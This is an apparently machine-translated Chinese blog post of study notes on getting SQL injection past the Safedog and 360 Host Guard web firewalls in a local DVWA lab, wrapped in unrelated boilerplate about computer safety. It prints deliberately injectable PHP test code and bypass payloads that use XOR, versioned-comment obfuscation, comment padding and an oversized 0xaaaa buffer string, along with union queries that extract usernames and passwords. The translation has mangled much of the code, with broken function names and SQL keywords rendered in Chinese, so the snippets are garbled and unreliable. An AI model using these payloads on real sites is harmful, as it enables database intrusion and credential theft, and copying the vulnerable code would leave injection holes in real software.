随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。 0x00前言 这类物品很多。本文主要作为学习笔记来记录SQL注入旁路的学习过程。同时,前人的很多绕过方法都失败了,所以这里也有一些绕过方法来记录最新的规则 0x01环境建设 测试环境:win7+Apache+MySQL5.7.26+PHP5.5.45 测试代码: if($GET['id']==null){$id=$POST['id'];} else{$id=$获取['id'];} $con=mysql\uconnect(“localhost”,“root”,“root”) 如果(!$con){die('无法连接:'。mysql_uuerror());} mysql\uuselect\udb(“dvwa”,$con) $query=“从user_uid='$id';'的用户中选择first_uuName,last_uuName;” $result=mysql\uquery($query)或die($query) [k4号] ') while($row=mysql\fetch\array($result)) 你知道吗{ 回显$行['0']。”&;nbsp”$行['1'] “回音” “ }你知道吗 “回音” “ echo$查询 mysql\ close($con) 上面的测试代码是参考了一篇关于安全客户的文章,但是为了方便测试,在原来的代码中增加了后参数传输功能,代码来源于本文的第2条 为了便于下一次测试,您需要在本地安装DVWA。至于代码中的其他参数,如地址、用户名、密码,您可以根据本地配置进行修改 如果此代码仅使用post方法传输参数,则页面将输出错误信息。如果您不希望它输出错误信息,可以修改php.ini文件中的显示。如果errors关闭,请重新启动Apache 访问本地构建范围的地址,如下图所示,它是成功的。其中,192.168.38.132需要更改为您自己的目标IP地址 0x02安全狗 1、构建 我下载的是windows Apache v4.0版本和2019年11月27日的更新规则 在安装安全狗时,如果您不知道要填写什么服务名称,可以查看参考文章5 如果使用phpstudy8.0或更高版本,可能在系统服务中找不到Apache的服务名称,建议使用8.0以下版本,如phpstudy 2018,然后将运行模式设置为“系统服务”。别问我怎么知道 设置完成后,我们构造SQL注入语句,判断注入点,访问目标网站,网站有一个安全狗提示,这意味着我们已经设置了 #39岁;和'1'='1 2、找条路绕过去 '和'1'='1 多次测试发现,单引号不会被截取,也不会被截取。只有在and之后添加and和'1'等字符时,才会截获它,因此下一步主要是绕过and的测试 通常,如果和被截获,则可以绕过以下字符 +、-、*、%、/、| |、|、&;、&;和amp 或者使用Or来绕过,或者直接使用XOR来绕过 ^,异或 因为我下载的版本的规则是最新的,所以我参考了使用&;的文章;替换和的方法已失败。经过多次测试,XOR可以绕过安全狗,判断注入点 “异或”1 接下来,使用unionselect查看名和用户名 '联合选择(),用户()' 如果你直接这样做,你肯定会被拦截,所以下一步,想办法绕过它 答。使用()而不是空格 '联合选择(()),(用户())' 数据或函数可以无限嵌套 b。使用MySQL features//Execution语句 '联合/*!50010选择*/(database()),(user())' /!/中间代码可以执行。50010是MySQL的版本号。只要MySQL比这个版本大,就会执行其中的代码 c。使用/**/混淆代码 '联合/**//*!50010选择*/(/**/()),(用户/**/())' 不能在MySQL关键字中插入/*/,即Se/**/select将报告错误,但可以在函数名和括号之间添加/**/。可以执行像database/**/()这样的代码 事实上,我的保护规则是在2019年11月27日更新的,所以即便如此,还是不能绕过。然而,由于安全狗对get的过滤比post更为严格,测试后发现post可以被绕过 您可以看到post方法可以被成功绕过。除了以上三种方法外,有时还会产生意想不到的效果 知道旁路方法,你可以找到用户名和密码的所有方式 '联合选择用户,来自用户的密码'# 经过测试,我们发现在post方法中,添加一个括号可以绕过安全狗,这足以看出安全狗对于post方法的过滤有多松懈 '联合选择用户,密码来自(用户)# 有很多方法可以绕过。这是安全犬的记录。我们来看看360主机卫士吧 0x03 360主机防护 1、构建 360曾经有一个360主机卫士,但现在已经停止更新和维护,官方网站无法打开,所以只能从第三方网站下载。我在这里下载了版本2.0.5.9 虽然360主机卫士已经停止更新,但仍然可以用来练习 下载后,请访问“1”和“1”。如果发现它已被截获,返回的内容将如下所示,表明它已成功构建 2、找条路绕过去 '和'1'='1 经过多次测试,我们使用;它可以通过使用异或来绕过 接下来,让我们看看如何绕过union select '联合选择(),用户()' 经过多次测试,发现它可以被缓冲区溢出绕过,但只有在post方法下才有效 '和(选择1)=(选择0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0x04工具 说到SQL注入工具,我觉得必须提到shack2的超级SQL注入工具。鉴于上述缓冲区绕过的情况,使用该工具进行SQL注入非常方便 将burp中的数据包复制到工具中。在注入标记并对标记进行编码之后,就可以得到数据了。如果你不明白如何标记注射点,你可以看看教学视频和文档的工具,使它更容易理解 至于其他更复杂的旁路,如上述安全狗旁路,也可以使用该工具的喷油旁路模块。当然,可以使用sqlmap的tap脚本。目前,本文将在此记录
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。 |
温馨提示:喜欢本站的话,请收藏一下本站!